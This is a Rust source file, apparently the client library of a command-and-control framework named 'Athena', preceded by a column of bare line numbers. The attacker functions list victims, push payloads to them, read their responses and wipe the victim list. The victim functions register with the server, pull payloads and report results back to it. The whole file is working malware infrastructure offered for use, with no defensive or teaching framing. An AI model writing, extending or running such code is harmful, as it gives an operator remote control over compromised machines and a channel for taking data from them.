1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
use std::error::Error;
use derive_more::{Display, Error};
use reqwest::StatusCode;
pub use reqwest::{Client, ClientBuilder};
use serde::{Deserialize, Serialize};
use url::Url;
pub mod payload;
pub mod routes;
pub use routes::V1_ROUTES;
use payload::attack::Password;
use payload::*;
#[derive(Clone, Default)]
pub struct AthenaClientBuilder {
client: Option<Client>,
host: Option<String>,
password: Option<Password>,
}
impl AthenaClientBuilder {
pub fn password(&mut self, password: String) -> &mut Self {
self.password = Some(Password { password });
self
}
pub fn client(&mut self, client: ClientBuilder) -> AthenaResult<&mut Self> {
let client = client.cookie_store(true).build()?;
self.client = Some(client);
Ok(self)
}
pub fn host(&mut self, host: String) -> &mut Self {
if host.ends_with('/') {
self.host = Some(host[0..host.len() - 1].to_owned())
} else {
self.host = Some(host);
}
self
}
pub fn build(&mut self) -> AthenaResult<AthenaClient> {
Ok(AthenaClient {
client: self.client.clone().unwrap(),
password: self.password.clone().unwrap(),
host: Url::parse(&self.host.clone().unwrap())?,
})
}
}
#[derive(Clone)]
pub struct AthenaClient {
client: Client,
host: Url,
password: Password,
}
impl AthenaClient {
pub async fn attack_list_victims(&self) -> AthenaResult<Vec<attack::Victim>> {
let url = self.host.clone().join(V1_ROUTES.attack.list_victims)?;
Ok(self
.client
.post(url)
.json(&self.password)
.send()
.await?
.json()
.await?)
}
pub async fn attack_set_payload(
&self,
payload: &attack::Payload,
) -> AthenaResult<attack::PayloadID> {
let url = self.host.clone().join(V1_ROUTES.attack.set_payload)?;
let resp = self.client.post(url).json(&payload).send().await?;
if resp.status() == StatusCode::OK {
Ok(resp.json().await?)
} else {
let err: ErrorToResponse = resp.json().await.unwrap();
Err(Box::new(err))
}
}
pub async fn attack_read_response(
&self,
payload: &attack::PayloadID,
) -> AthenaResult<attack::PayloadResponse> {
let payload = attack::ResponseReq {
id: payload.id,
password: self.get_password().to_owned(),
};
let url = self.host.clone().join(V1_ROUTES.attack.read_response)?;
let resp = self.client.post(url).json(&payload).send().await?;
if resp.status() == StatusCode::OK {
Ok(resp.json().await?)
} else {
let err: ErrorToResponse = resp.json().await.unwrap();
Err(Box::new(err))
}
}
pub async fn attack_delete_all_victims(&self) -> AthenaResult<()> {
let url = self.host.clone().join(V1_ROUTES.attack.delete_victims)?;
let resp = self.client.post(url).send().await?;
if resp.status() == StatusCode::OK {
Ok(())
} else {
let err: ErrorToResponse = resp.json().await.unwrap();
Err(Box::new(err))
}
}
pub fn get_password(&self) -> &str {
&self.password.password
}
pub async fn victim_register(&self) -> AthenaResult<()> {
let url = self.host.clone().join(V1_ROUTES.victim.join)?;
self.client.post(url).send().await?;
Ok(())
}
pub async fn victim_get_paylod(&self) -> AthenaResult<victim::PayloadCollection> {
let url = self.host.clone().join(V1_ROUTES.victim.get_payload)?;
let resp = self.client.post(url).send().await?;
if resp.status() == StatusCode::OK {
Ok(resp.json().await.unwrap())
} else {
let err: ErrorToResponse = resp.json().await.unwrap();
Err(Box::new(err))
}
}
pub async fn victim_set_payload_response(
&self,
payload: &victim::PayloadResult,
) -> AthenaResult<()> {
let url = self.host.clone().join(V1_ROUTES.victim.payload_response)?;
let resp = self.client.post(url).json(payload).send().await?;
if resp.status() == StatusCode::OK {
Ok(())
} else {
let err: ErrorToResponse = resp.json().await.unwrap();
Err(Box::new(err))
}
}
}
#[derive(Serialize, Error, Display, Debug, Deserialize)]
#[cfg(not(tarpaulin_include))]
pub struct ErrorToResponse {
pub error: String,
}
pub type AthenaResult<T> = Result<T, Box<dyn Error>>;